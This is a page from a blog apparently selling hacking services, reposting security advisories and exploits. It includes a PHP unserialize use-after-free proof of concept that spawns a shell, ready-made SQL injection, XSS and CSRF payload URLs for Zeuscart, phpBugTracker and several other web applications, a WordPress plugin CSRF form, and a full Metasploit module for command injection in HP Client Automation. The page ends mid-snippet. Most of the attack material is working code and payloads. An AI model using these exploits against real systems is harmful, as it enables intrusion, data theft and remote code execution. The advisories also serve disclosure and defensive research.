Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863123612

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Use After Free Vulnerability in unserialize() with DateTime* [CVE-2015-0273]

Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:
2015.1.29 - Release Date: 2015.2.20

A use-after-free vulnerability was discovered in unserialize() with DateTime/DateTimeZone/DateInterval/DatePeriod objects's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.6
Affected is PHP 5.5 < 5.5.22
Affected is PHP 5.4 < 5.4.38

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------

static int php_date_initialize_from_hash(php_date_obj **dateobj,
HashTable *myht)
{
	zval             *z_date;
	zval             *z_timezone;
	zval             *z_timezone_type;
	zval              tmp_obj;
	timelib_tzinfo   *tzi;
	php_timezone_obj *tzobj;

	z_date = zend_hash_str_find(myht, "date", sizeof("data")-1);
	if (z_date) {
		convert_to_string(z_date);
		z_timezone_type = zend_hash_str_find(myht, "timezone_type",
sizeof("timezone_type")-1);
		if (z_timezone_type) {
			convert_to_long(z_timezone_type);
			z_timezone = zend_hash_str_find(myht, "timezone", sizeof("timezone")-1);
			if (z_timezone) {
				convert_to_string(z_timezone);

...

static int php_date_timezone_initialize_from_hash(zval **return_value,
php_timezone_obj **tzobj, HashTable *myht TSRMLS_DC)
{
	zval            **z_timezone = NULL;
	zval            **z_timezone_type = NULL;

	if (zend_hash_find(myht, "timezone_type", 14, (void**)
&z_timezone_type) == SUCCESS) {
		if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS) {
			convert_to_long(*z_timezone_type);
			if (SUCCESS == timezone_initialize(*tzobj, Z_STRVAL_PP(z_timezone)
TSRMLS_CC)) {
				return SUCCESS;
			}
		}
	}
	return FAILURE;
}

The convert_to_long() leads to the ZVAL and all its children is freed
from memory. However the unserialize() code will still allow to use R:
or r: to set references to that already freed memory. There is a use
after free vulnerability, and allows to execute arbitrary code.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.

<?php

$f = $argv[1];
$c = $argv[2];

$fakezval1 = ptr2str(0x100b83008);
$fakezval1 .= ptr2str(0x8);
$fakezval1 .= "\x00\x00\x00\x00";
$fakezval1 .= "\x06";
$fakezval1 .= "\x00";
$fakezval1 .= "\x00\x00";

$data1 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}';

$x = unserialize($data1);
$y = $x[2];

// zend_eval_string()'s address
$y[0][0] = "\x6d";
$y[0][1] = "\x1e";
$y[0][2] = "\x35";
$y[0][3] = "\x00";
$y[0][4] = "\x01";
$y[0][5] = "\x00";
$y[0][6] = "\x00";
$y[0][7] = "\x00";

$fakezval2 = ptr2str(0x3b296324286624); // $f($c);
$fakezval2 .= ptr2str(0x100b83000);
$fakezval2 .= "\x00\x00\x00\x00";
$fakezval2 .= "\x05";
$fakezval2 .= "\x00";
$fakezval2 .= "\x00\x00";

$data2 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;R:4;}s:8:"timezone";s:3:"UTC";}}';

$z = unserialize($data2);

function ptr2str($ptr)
{
	$out = "";
	for ($i=0; $i<8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}

?>

Test the PoC on the command line, then any PHP code can be executed:

$ lldb php
(lldb) target create "php"
Current executable set to 'php' (x86_64).
(lldb) run uafpoc.php assert "system\('sh'\)==exit\(\)"
Process 13472 launched: '/usr/bin/php' (x86_64)
sh: no job control in this shell
sh-3.2$ php -v
PHP 5.5.14 (cli) (built: Sep  9 2014 19:09:25)
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
sh-3.2$ exit
exit
Process 13472 exited with status = 0 (0x00000000)
(lldb)
HireHackking 
Advisory: Multiple reflecting XSS-, SQLi and
InformationDisclosure-vulnerabilities in Zeuscart v.4
Advisory ID: SROEADV-2015-12
Author: Steffen Rösemann
Affected Software: Zeuscart v.4
Vendor URL: http://zeuscart.com/
Vendor Status: pending
CVE-ID: will asked to be assigned after release on FullDisclosure via
OSS-list
Software used for research: Mac OS X 10.10, Firefox 35.0.1

==========================
Vulnerability Description:
==========================

ECommerce-Shopping Cart Zeuscart v. 4 suffers from multiple XSS-, SQLi- and
InformationDisclosure-vulnerabilities.

==================
Technical Details:
==================

====
XSS
===

Reflecting XSS-vulnerabilities can be found in a common
Zeuscart-installation in the following locations and could be exploited for
example by crafting a link and make a registered user click on that link.

The parameter "search", which is used in the index.php is vulnerable to
XSS-attacks.

Exploit-Example:

http://
{TARGET}/index.php?do=search&search=%22%3E%3Cbody%20onload=eval%28alert%28document.cookie%29%29%20%3E%3C!--

By appending arbitrary HTML- and/or JavaScript-code to the parameter
"schltr" which is as well used in index.php, an attacker could exploit this
XSS-vulnerable parameter:

Exploit-Example:

http://
{TARGET}/index.php?do=brands&schltr=All%3Cbody%20onload=eval%28alert%28String.fromCharCode%2888,83,83%29%29%29%20%3E

The third XSS-vulnerability can be found in the "brand"-parameter, which is
again used in index.php.

Exploit-Example:

http://
{TARGET}/index.php?do=viewbrands&brand=Bata%3Cbody%20onload=eval%28alert%28String.fromCharCode%2888,83,83%29%29%29%20%3E

====
SQLi
====

The SQL injection-vulnerabilities can be found in the administrative
backend of Zeuscart v. 4 and reside in the following locations in a common
installation.

By appending arbitrary SQL statements to the "id"-parameter, an attacker
could exploit this SQL injection vulnerability:

Exploit-Example:

http://
{TARGET}/admin/?do=disporders&action=detail&id=1+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,database%28%29,34,35,version%28%29,37,38+--+

Another SQL injection vulnerability can be found here and can be exploited
by appending SQL statements to the vulnerable "cid"-parameter:

Exploit-Example:

http://
{TARGET}/admin/?do=editcurrency&cid=1+and+1=2+union+select+1,database%28%29,3,version%28%29,5+--+

The last SQL injection vulnerability I found can be found in the following
location and can be exploited by appending SQL statements to the vulnerable
"id" parameter:

http://
{TARGET}/admin/?do=subadminmgt&action=edit&id=1+and+1=2+union+select+1,version%28%29,3,database%28%29,5+--+

==============
Information Disclosure
==============

The administrative backend of Zeuscart v. 4 allows the admin to use a
functionality, which displays the PHP-installation settings via phpinfo():

http://{TARGET}/admin/?do=getphpinfo

Unfortunately, the PHP-script does not check, if an authorized admin
executes this functionality: It is possible even for unregistered users to
request the above link to see the informations, phpinfo() displays. That
could expose sensitive informations to an attacker which could lead to
further exploitation.



=========
Solution:
=========

Vendor has been notified. After releasing a patch, which seems not to
correct the issues, the vendor decided not to respond anymore to figure out
a solution together. Currently, there is no patch available to secure
Zeuscart-installations.


====================
Disclosure Timeline:
====================
21-Jan-2015 – found the vulnerabilities
21-Jan-2015 - informed the developers (see [3])
21-Jan-2015 – release date of this security advisory [without technical
details]
21-Jan-2015 – fork of the repository to keep the vulnerable version
available for other researchers (see [5])
22-Jan-2015 - vendor responded, provided detailed information
04-Feb-2015 - vendor patches Bin/Core/Assembler.php; vulnerabilities are
still exploitable, which has been reported to the vendor (see [3])
19-Feb-2015 - asked the vendor again, if he will patch these issues (see
[3]); vendor did not respond
21-Feb-2015 - release date of this security advisory
21-Feb-2015 - send to FullDisclosure


========
Credits:
========

Vulnerabilities found and advisory written by Steffen Rösemann.

===========
References:
===========

[1] http://zeuscart.com/
[2] https://github.com/ZeusCart/zeuscart
[3] https://github.com/ZeusCart/zeuscart/issues/28
[4] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-12.html
[5] https://github.com/sroesemann/zeuscart
HireHackking 
Advisory: Multiple SQLi, stored/reflecting XSS- and CSRF-vulnerabilities in
phpBugTracker v.1.6.0
Advisory ID: SROEADV-2015-16
Author: Steffen Rösemann
Affected Software: phpBugTracker v.1.6.0
Vendor URL: https://github.com/a-v-k/phpBugTracker
Vendor Status: patched
CVE-ID: will asked to be assigned after release on FullDisclosure via
OSS-list
Tested on: OS X 10.10 with Firefox 35.0.1 ; Kali Linux 3.18, Iceweasel 31

==========================
Vulnerability Description:
==========================

The Issuetracker phpBugTracker v. 1.6.0 suffers from multiple SQLi-,
stored/reflected XSS- and CSRF-vulnerabilities.

==================
Technical Details:
==================

The following files used in a common phpBugTracker installation suffer from
different SQLi-, stored/reflected XSS- and CSRF-vulnerabilities:

===========
project.php
===========

SQL injection / underlaying CSRF vulnerability  in project.php via id
parameter:

http://
{TARGET}/admin/project.php?op=edit_component&id=1%27+and+1=2+union+select+1,2,database%28%29,user%28%29,5,6,version%28%29,8,9,10,11,12+--+

Stored XSS via input field "project name":

http://{TARGET}/admin/project.php?op=add

executed in: e.g. http://{TARGET}/admin/project.php, http://
{TARGET}/index.php


========
user.php
========

Reflecting XSS in user.php via use_js parameter:

http://
{TARGET}/admin/user.php?op=edit&use_js=1%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&user_id=1

executed in: same page


=========
group.php
=========

Reflecting XSS in group.php via use_js parameter:

http://
{TARGET}/admin/group.php?op=edit&use_js=1%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&group_id=1

executed in: same page

(Blind) SQL Injection / underlaying CSRF vulnerability  in group.php via
group_id parameter (used in different operations):

http://
{TARGET}/admin/group.php?op=edit&use_js=1&group_id=1+and+SLEEP%2810%29+--+
http://
{TARGET}/admin/group.php?op=edit-role&use_js=1&group_id=8+and+substring%28version%28%29,1,1%29=5+--+


==========
status.php
==========

SQL injection / underlaying CSRF vulnerability  in status.php via status_id
parameter:

http://
{TARGET}/admin/status.php?op=edit&status_id=1%27+and+1=2+union+select+1,user%28%29,database%28%29,version%28%29,5+--+

Stored XSS via input field "Description":

http://{TARGET}/admin/status.php?op=edit&use_js=1&status_id=0

executed in: e.g. http://{TARGET}/admin/status.php

CSRF vulnerability in status.php (delete statuses):

<img src="http://{TARGET}/admin/status.php?op=del&status_id={NUMERIC_STATUS_ID}"



==============
resolution.php
==============

SQL injection / underlaying CSRF vulnerability  in resolution.php via
resolution_id parameter:

http://
{TARGET}/admin/resolution.php?op=edit&resolution_id=1%27+and+1=2+union+select+1,user%28%29,database%28%29,version%28%29+--+

CSRF vulnerability in resolution.php (delete resolutions):

<img src="http://{TARGET}/admin/resolution.php?op=del&resolution_id={NUMERIC_RESOLUTION_ID}"



============
severity.php
============

SQL injection / underlaying CSRF vulnerability  in severity.php via
severity_id parameter:

http://
{TARGET}/admin/severity.php?op=edit&severity_id=1%27+and+1=2+union+select+1,user%28%29,database%28%29,version%28%29,5+--+

CSRF vulnerability in severity.php (delete severities):

<img src="http://{TARGET}/admin/severity.php?op=del&severity_id={NUMERIC_SEVERITY_ID}"


Stored XSS in severity.php via input field "Description":

http://{TARGET}/admin/severity.php?op=edit&use_js=1&severity_id=0

executed in: e.g. http://{TARGET}/admin/severity.php


============
priority.php
============

SQL injection / underlaying CSRF vulnerability in priority.php via
priority_id parameter:

http://
{TARGET}/admin/priority.php?op=edit&priority_id=1%27+and+1=2+union+select+1,user%28%29,database%28%29,4,version%28%29+--+


======
os.php
======

SQL Injection / underlaying CSRF vulnerability in os.php via os_id
parameter:

http://
{TARGET}/admin/os.php?op=edit&os_id=1%27+and+1=2+union+select+1,user%28%29,database%28%29,version%28%29+--+

CSRF vulnerability in os.php (delete operating systems):

<img src="http://{TARGET}/admin/os.php?op=del&os_id={NUMERIC_OS_ID}" >

Stored XSS vulnerability in os.php via input field "Regex":

http://{TARGET}/admin/os.php?op=edit&use_js=1&os_id=0

executed in: e.g. http://{TARGET}/admin/os.php?


============
database.php
============

SQL injection / underlaying CSRF vulnerability in database.php via
database_id:

http://
{TARGET}/admin/database.php?op=edit&database_id=1%27+and+1=2+union+select+1,user%28%29,version%28%29+--+

CSRF vulnerability in database.php (delete databases):

<img src="http://{TARGET}/admin/database.php?op=del&database_id={NUMERIC_DATABASE_ID}"


Stored XSS vulnerability in database.php via input field "Name":

http://{TARGET}/admin/database.php?op=edit&use_js=1&database_id=0


========
site.php
========

CSRF vulnerability in site.php (delete sites):

<img src="http://{TARGET}/admin/site.php?op=del&site_id={NUMERIC_SITE_ID}" >

SQL injection / underlaying CSRF vulnerability in site.php via site_id
parameter:

http://
{TARGET}/admin/site.php?op=edit&site_id=5%27+and+1=2+union+select+1,version%28%29,database%28%29+--+


=======
bug.php
=======

This issue has already been assigned CVE-2004-1519, but seems to have not
been corrected since the assignment:

SQL injection / underlaying CSRF vulnerability in bug.php via project
parameter:

http://
{TARGET}/bug.php?op=add&project=1%27+and+1=2+union+select+user%28%29+--+

For details see http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1519.



=========
Solution:
=========

Update to version 1.7.0.


====================
Disclosure Timeline:
====================
03/05-Feb-2015 – found the vulnerabilities
05-Feb-2015 - informed the developers (see [3])
05-Feb-2015 – release date of this security advisory [without technical
details]
05-Feb-2015 - forked the Github repository, to keep it available for other
security researchers (see [4])
05/06-Feb-2015 - vendor replied, will provide a patch for the
vulnerabilities
09-Feb-2015 - vendor provided a patch (version 1.7.0, see [3]); technical
details will be released on 19th February 2015
19-Feb-2015 - release date of this security advisory
19-Feb-2015 - send to FullDisclosure


========
Credits:
========

Vulnerabilities found and advisory written by Steffen Rösemann.

===========
References:
===========

[1] https://github.com/a-v-k/phpBugTracker
[2] http://sroesemann.blogspot.de/2015/02/sroeadv-2015-16.html
[3] https://github.com/a-v-k/phpBugTracker/issues/4
[4] https://github.com/sroesemann/phpBugTracker
HireHackking 
====================================================
Product: Easy Social Icons WordPress plugin
Vendor: CyberNetikz
Tested Version: 1.2.2
Vulnerability Type: XSS [CWE-79] and CSRF [CWE-352]
Risk Level: Medium
Solution Status: Solved in version 1.2.3
Discovered and Provided: Eric Flokstra - ITsec Security Services
====================================================
[-] About the Vendor:

Easy Social Icons is a WordPress plugin and can be used to set icons on the public page in order to link to social media platforms such as LinkedIn, Twitter or Facebook.

[-] Advisory Details:

It is discovered that insufficient validation is performed on the 'image_file' parameter enabling arbitrary JavaScript to be injected. On top of that no random tokens are used to prevent CSRF attacks. By combining these vulnerabilities an attacker could for example trick an admin into setting a persistent XSS payload on the public WordPress page.

[-] Proof of Concept:

<html>
 <body>
   <form action="http://10.0.2.215/wordpress/wp-admin/admin.php?page=cnss_social_icon_add&mode=edit&id=1" <http://10.0.2.215/wordpress/wp-admin/admin.php?page=cnss_social_icon_add&mode=edit&id=1> method="POST" enctype="multipart/form-data">
     <input type="hidden" name="title" value="Example" />
     <input type="hidden" name="image&#95;file" value="http&#58;&#47;&#47;10&#46;0&#46;2&#46;215&#47;wordpress&#47;wp&#45;content&#47;uploads&#47;2015&#47;02&#47;cookie&#46;jpg"><script>alert&#40;1&#41;<&#47;script>" />
     <input type="hidden" name="url" value="http&#58;&#47;&#47;www&#46;example&#46;org" />
     <input type="hidden" name="sortorder" value="0" />
     <input type="hidden" name="target" value="1" />
     <input type="hidden" name="action" value="edit" />
     <input type="hidden" name="id" value="1" />
     <input type="hidden" name="submit&#95;button" value="Save&#32;Changes" />
     <input type="submit" value="Submit request" />
   </form>
 </body>
</html>

[-] Disclosure Timeline:

[02 Feb 2015]: Vendor notification
[02 Feb 2015]: Vulnerability confirmation
[11 Feb 2015]: Vulnerability patched
[19 Feb 2015]: Public disclosure

[-] Solution:

Update to the latest version of Easy Social Icons.

[-] References:

[1] Easy Social Icons Changelog -- https://wordpress.org/plugins/easy-social-icons/changelog/
[2] Common Weakness Enumeration (CWE) -- http://cwe.mitre.org
[3] ITsec Security Services BV -- http://www.itsec.nl

------------------------------------------------------------------------
ITsec Security Services bv. (KvK. 34181927)

Postal Address:
P.O. Box 5120, 2000GC Haarlem
Visitors Address:	
Kenaupark 23, 2011 MR Haarlem

Phone:			+31 - (0)23 542 05 78

The information contained in this email communication is confidential and is intended solely for the use of the individual or entity to whom it is addressed and others authorized to receive it. If you are not the intended recipient, you are hereby notified that any disclosure, copying,distribution, or taking any action in reliance of the contents of this information is strictly prohibited and may be unlawful. No rights may be attached to this message. ITsec does not accept any liability for incorrect and incomplete transmission or delayed receipt of this e-mail nor for the effects or damages caused by the direct or indirect use of the information or functionality provided by this posting, nor the content contained within.Use them at your own risk.
HireHackking

TWiki 5.0.2 - '/bin/view/Main/Jump?newtopic' Cross-Site Scripting

HACKER · %s · %s

source: https://www.securityfocus.com/bid/49746/info TWiki is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Versions prior to TWiki 5.1.0 are vulnerable. http://example.com/do/view/Main/Jump?create=on&newtopic=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert%280x0051D1%29%3C/script%3E&template=WebCreateNewTopic&topicparent=3
HireHackking
source: https://www.securityfocus.com/bid/49749/info AWStats is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. AWStats 7.0 and 6.95 are vulnerable; other versions may also be affected. http://example.com/awredir.pl?url=%3Cscript%3Ealert(document.cookie)%3C/script%3E http://example.com/awredir.pl?key=%3Cscript%3Ealert(document.cookie)%3C/script%3E
HireHackking
source: https://www.securityfocus.com/bid/49765/info Multiple products are prone to an HTML-injection vulnerability because they fail to sufficiently sanitize user-supplied input. An attacker could exploit this vulnerability to execute arbitrary script code in the browser of an unsuspecting victim in the context of the affected websites. This may allow the attacker to steal cookie-based authentication credentials or control how the websites are rendered to the user. Other attacks are also possible. The following products are affected: WordPress 3.1.4 BuddyPress 1.2.10 Blogs MU 1.2.6 One of the functionalities of Zyncro is the possibility of creating groups. The name and description of the groups are not correctly sanitized and it's possible to provoke some attacks. In order to do the attack, you must create a new group and capture the packet transferred to the server to modify it because validation is done in client-side (only) using javascript. The original request has three POST data parameters like: popup=1 & name=dGVzdA%3D%3D & description=dGVzdA%3D%3D Important data are 'name' and 'description' parameters, which are base64 encoded. In this case, both values are 'test': url_decode(dGVzdA%3D%3D) b64decode(dGVzdA==) test It is possible to provoke the XSS by changing those values as follows: "><script>alert("XSS attack")</script> Values MUST be in base64, so: b64encode(""><script>alert("XSS attack")</script>") = Ij48c2NyaXB0PmFsZXJ0KCJYU1MgYXR0YWNrIik8L3NjcmlwdD4= Finally the post-data of the request would become: popup=1&name=Ij48c2NyaXB0PmFsZXJ0KCJYU1MgYXR0YWNrIik8L3NjcmlwdD4%3d&description=Ij48c2NyaXB0PmFsZXJ0KCJYU1MgYXR0YWNrIik8L3NjcmlwdD4%3d Once the request has reached the server, a new group would be created and any time that someone sees the name/description of the group, a pop-up would appear, this is the easiest attack.
HireHackking
source: https://www.securityfocus.com/bid/49771/info Serendipity Freetag-plugin is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. This issue affects Serendipity Freetag-plugin 3.22; prior versions may also be affected. http://www.example.com/serendipity/serendipity_admin?serendipity[adminModule]=event_display&serendipity[adminAction]=managetags&serendipity[tagview]=[xss]
HireHackking

HP Client - Automation Command Injection (Metasploit)

HACKER · %s · %s

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'HP Client Automation Command Injection', 'Description' => %q{ This module exploits a command injection vulnerability on HP Client Automation, distributed actually as Persistent Systems Client Automation. The vulnerability exists in the Notify Daemon (radexecd.exe), which doesn't authenticate execution requests by default neither. This module has been tested successfully on HP Client Automation 9.00 over Windows 2003 SP2 and CentOS 5. }, 'Author' => [ 'Ben Turner', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ ['CVE', '2015-1497'], ['ZDI', '15-038'], ['URL', 'https://radiasupport.accelerite.com/hc/en-us/articles/203659814-Accelerite-releases-solutions-and-best-practices-to-enhance-the-security-for-RBAC-and-Remote-Notify-features'] ], 'Privileged' => true, 'Platform' => %w{ unix win }, 'DefaultOptions' => { 'WfsDelay' => 10 }, 'Payload' => {'DisableNops' => true}, 'Targets' => [ [ 'HP Client Automation 9.0.0 / Linux', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 466, 'EncoderType' => Msf::Encoder::Type::CmdUnixPerl, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'openssl telnet generic gawk' }, 'BadChars' => "\x27" } } ], [ 'HP Client Automation 9.0.0 / Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 02 2014')) register_options( [ Opt::RPORT(3465) ], self.class) deregister_options('CMDSTAGER::FLAVOR') deregister_options('CMDSTAGER::DECODER') end def check connect sock.put("\x00") # port sock.put("#{rand_text_alphanumeric(4 + rand(3))}\x00") # user ID sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password sock.put("hide\x00") # command res = sock.get_once disconnect if res && res.unpack('C')[0] == 0 return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def exploit case target['Platform'] when 'win' print_status('Exploiting Windows target...') execute_cmdstager({:flavor => :vbs, :linemax => 290}) when 'unix' print_status('Exploiting Linux target...') exploit_unix else fail_with(Failure::NoTarget, 'Invalid target') end end def exploit_unix connect sock.put("\x00") # port sock.put("0\x00") # user ID sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password sock.put("hide hide\x09sh -c '#{payload.encoded.gsub(/\\/, "\\\\\\\\")}'\x00") # command, here commands can be injected disconnect end def execute_command(cmd, opts = {}) connect sock.put("\x00") # port sock.put("S-1-5-18\x00") # user ID sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password sock.put("hide hide\"\x09\"cmd.exe /c #{cmd}&\"\x00") # command, here commands can be injected res = sock.get_once disconnect unless res && res.unpack('C')[0] == 0 fail_with(Failure::Unknown, "Something failed executing the stager...") end end end
HireHackking
source: https://www.securityfocus.com/bid/49787/info Adobe ColdFusion is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data. An attacker could exploit these vulnerabilities to execute arbitrary script code in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. Adobe ColdFusion 7 is vulnerable; other versions may also be affected. http://example.com/CFIDE/componentutils/componentdetail.cfm?component=%3Cbody%20onload=alert(document.cookie)%3E http://example.com/CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=%3Cbody%20onload=alert(document.cookie)%3E http://example.com/CFIDE/componentutils/cfcexplorer.cfc?method=%3Cbody%20onload=alert(document.cookie)%3E
HireHackking

ServersCheck Monitoring Software 8.8.x - Multiple Vulnerabilities

HACKER · %s · %s

source: https://www.securityfocus.com/bid/49793/info ServersCheck Monitoring Software is prone to multiple remote input-validation vulnerabilities, including: 1. Multiple HTML-injection vulnerabilities 2. Multiple cross-site scripting vulnerabilities 3. A cross-site request forgery vulnerability 4. Multiple local file-include vulnerabilities 5. A security vulnerability that may allow attackers to send arbitrary SMS messages from the vendor's phone number. An attacker can exploit these issues to execute arbitrary HTML and script code in the context of the browser or the Web server, gain access to sensitive information, send multiple SMS messages, and perform certain administrative tasks. Other attacks are also possible. Code Review: Input Validation Vulnerabilities (Persistent) http://www.example.com/userslist.html? <table border="0" cellpadding="0" cellspacing="0" class="tabdata" width=&#039;98%&#039;> <tr bgcolor="#ff9900"> <td width=90%><b>Benutzername</b></td> <td align=center><b>Zugriffsrechte</b></td> <td align=center><b>Löschen</b></td></tr> <tr bgcolor=&#039;#ffef95&#039;><td style=&#039;padding-left:3px;padding-right:3px;&#039;><a href=&#039;/usersettingsedit.html?username= > >"<INSERT SCRIPTCODE HERE!>&&#039;>>"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!></a></td> <td align=center><a href="/usersettingsedit.html?username=>"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!>"> <img src="/output/images/security.gif" border=0></a></td> <td align=center><a href=&#039;&#039; onclick="return deleteit(&#039;0&#039;);"><img src=&#039;/output/images/delete.gif?&#039; border=0></a></td> </tr><tr ><td style=&#039;padding-left:3px;padding-right:3px;&#039;><a href=&#039;/usersettingsedit.html ?username=>"<iframe src=http://test.de>&&#039;>>"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!></a></td> <td align=center><a href="/usersettingsedit.html?username=>"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!>"> <img src="/output/images/security.gif" border=0></a></td> <td align=center><a href=&#039;&#039; onclick="return deleteit(&#039;1&#039;);"><img src=&#039;/output/images/delete.gif?&#039; border=0></a></td> </tr></table><br><form action=usersadd.html method=post><td><input type=hidden name=add value=yes> <input type=submit value="NEUEN BENUTZER HINZUFüGEN" ></form> http://www.example.com/downtime.html <body bgcolor="white" leftmargin=0 topmargin=0 rightmargin=0 marginwidth=0> <div style=&#039;padding-left:5px;padding-top:5px;&#039;><font color=black style="font-size: 16px;"><strong> Downtime Bericht >"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!> (1171011122) </strong></font> <hr align="left" width="97%" size="1" color="#ff9900" noshade style="padding-top:0px; filter:progid:DXImageTransform.Microsoft. Gradient(startColorStr=&#039;#ffcc00&#039;, endColorStr=&#039;white&#039;, gradientType=&#039;1&#039;)"> <br><div id="overDiv" style="position:absolute; visibility:hidden; z-index:1000;"></div> http://www.example.com/windowsaccountslist.html <table border="0" cellpadding="0" cellspacing="0" class="tabdata"> <tr bgcolor="#ff9900"> <td><b>Benutzername</b></td> <td align=center><b>Löschen</b></td> </tr> <tr bgcolor=&#039;#ffef95&#039;><td style=&#039;padding-left:3px;padding-right:3px;&#039;><a href=&#039;/windowsaccountsedit.html?id= 1269018355&&#039;>>"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!></a></td> <td align=center><a href=&#039;&#039; onclick="return deleteit(&#039;1269018355&#039;);"><img src=&#039;/output/images/delete.gif?&#039; border=0></a></td> </tr></table><br> <form action=windowsaccountsedit.html method=post><td><input type=hidden name=add value=yes> <input type=submit value="NEUEN BENUTZER HINZUFüGEN" ></form> http://www.example.com/msnsettings.html <div id="overDiv" style="position:absolute; visibility:hidden; z-index:1000;"></div> <script langauge="JavaScript" src="/output/js/overlib.js?"></script> <div style=&#039;padding-left:5px;padding-top:5px;&#039;><font color=black style="font-size: 16px;"><strong> Konfiguriere MSN Warnung </strong></font> <hr align="left" width="97%" size="1" color="#ff9900" noshade style="padding-top:0px; filter:progid:DXImageTransform.Microsoft.Gradient (startColorStr=&#039;#ffcc00&#039;, endColorStr=&#039;white&#039;, gradientType=&#039;1&#039;)"> <br>Sie müssen ein MSN Konto festlegen, von dem das MSN basierten Warnungen geschickt werden.<br> <script language="JavaScript"> alert(&#039;Einstellungen gespeichert&#039;); </script><div id=&#039;stylized&#039; class=&#039;settingsform&#039;> <form method=post action=msnsettings.html name=msn> <input type=hidden name=setting value=&#039;MSN&#039;> <label>MSN Konto Name</label><input type=text name=account size=30 value=">"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!>"><br> <label>MSN Konto Passwort</label><input type=password name=password size=10 value=">"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!>"<br> <br><br><input type=submit class=&#039;buttonok&#039; value="EINSTELLUNGEN SPEICHERN" ></form></div> <br><br></table><br><br> </td></tr></table> http://www.example.com/enterprisesettings2.html <form method=post action=enterprisesettings2.html> <input type=hidden name=setting value=&#039;SNMPTRAP&#039;> <input type=hidden name=stop value=&#039;&#039;> <label>IP, an die die Traps gesendet werden</label><input type=text name=newsetting0 size=30 value="127.0.0.1" > <a onmouseover="return overlib(&#039;Geben Sie eine IP Adresse oder einen Domänennamen ein, an welche die Traps gesendet werden&#039;, LEFT);" onmouseout="return nd();"><img src="/output/images/info.gif?" border=0 alt=&#039;Info&#039;></a><br> <label>Port</label><input type=text name=newsetting1 size=30 value=">"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!><br> <label>Der Community String.</label><input type=text name=newsetting2 size=30 value="" ><br> <br><br><input type=hidden value="127.0.0.1<X>>"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!>" name=previoussetting><input type=hidden value="" name=check><input type=submit class=&#039;buttonok&#039; value="EINSTELLUNGEN SPEICHERN" > <input type=button value="SENDUNG VON SNMP TRAPS BEENDEN" class=&#039;buttonnok&#039; Onclick="this.form.stop.value=1; this.form.submit();"></form></div> <br><br></table><br><br> </td></tr></table> http://www.example.com/settings.html?setting=LOGGING& <label>Datenbank Vorlagen</label><select name=odbctemplate onchange="javascript:changetemplate();"> <option value="">Wähle eine Datenbank Vorlage</option> <option value="Driver={Oracle ODBC 